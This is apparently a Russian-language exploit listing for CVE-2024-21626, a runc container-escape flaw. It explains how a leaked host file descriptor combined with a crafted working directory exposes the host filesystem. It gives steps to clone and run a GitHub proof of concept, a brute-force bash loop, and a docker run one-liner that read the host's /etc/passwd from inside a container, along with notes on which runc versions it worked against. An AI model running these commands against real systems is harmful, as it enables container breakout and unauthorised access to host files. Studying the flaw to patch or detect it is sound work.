## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-CDXIAODONG-CVE-2024-21626
Эксплуатация:
1.git clone https://github.com/cdxiaodong/CVE-2024-21626
2.docker-compose up
Проверка: если получен /etc/passwd хоста, значит уязвимость присутствует.
Окружение: runc: >=v1.0.0-rc93,<=1.1.11
Принцип и детали атаки:
В затронутых версиях runc во время инициализации происходит утечка некоторых внутренних файловых дескрипторов, включая дескриптор /sys/fs/cgroup хоста, при этом runc не проверяет, находится ли конечная рабочая директория в mount namespace контейнера. Атакующий может изменить конфигурацию process.cwd на /proc/self/fd/7 или заменить конкретный путь, переданный в параметре --cwd при вызове runc exec на хосте, символической ссылкой на /proc/self/fd/7/, что позволяет процессам внутри контейнера получать доступ к файловой системе хоста и управлять ею, обходя механизм изоляции контейнера.
Подробнее (gif-изображение):
1. Атакующий использует самодельный пакет docker-poc для эксплуатации CVE-2024-21626 runc process.cwd и утечка fds: прорыв контейнера | Snyk (snyk.io)
2. Этот docker-image пока не открыт в публичном доступе, 20240201 
3. Логика изменений в официальном исходном коде: Merge pull request from GHSA-xr7r-f8xq-vfvv · opencontainers/runc@0212048 (github.com)
4. Runc подвержен прорыву контейнера через уловку Process.CWD и утечку FDS · CVE-2024-21626 · База данных рекомендаций GitHub
CVE: CVE - CVE-2024-21626 (mitre.org) Исследователь, обнаруживший эту уязвимость: CVE-2024-21626 runc process.cwd и утечка fds: прорыв контейнера | Snyk (snyk.io) 
Фактический fd может меняться в зависимости от порядка открытия файлов. Для перебора можно использовать следующий скрипт:
/// #!/bin/bash
for i in {3..10} do # 使用变量构造工作目录,并运行容器 docker run -w /proc/1/fd/$i ubuntu cat ../../../../../etc/passwd done ///
Локальный тест успешен: fd/9 сработал: runc-version: 1.1.10 1.1.2 
При runc --version 1.0.0: 
При runc --version 1.1.4 fd/8 сработал: 
Дыра появилась только сегодня. Ниже расскажу подробнее.
Воспроизвести можно следующими способами:
1. runc - input: ручная компиляция с точками останова
2. ebpf: прослушивание runc и установка точек останова
3. runc create demo runc exec demo ls /proc/1/fd -a — можно сразу увидеть соответствующие символические ссылки
4. docker run -w /proc/1/fd/0-10 ubuntu cat ../../../../../etc/passwd — перебор
todo: Получение df через точки останова в runc для автоматизации.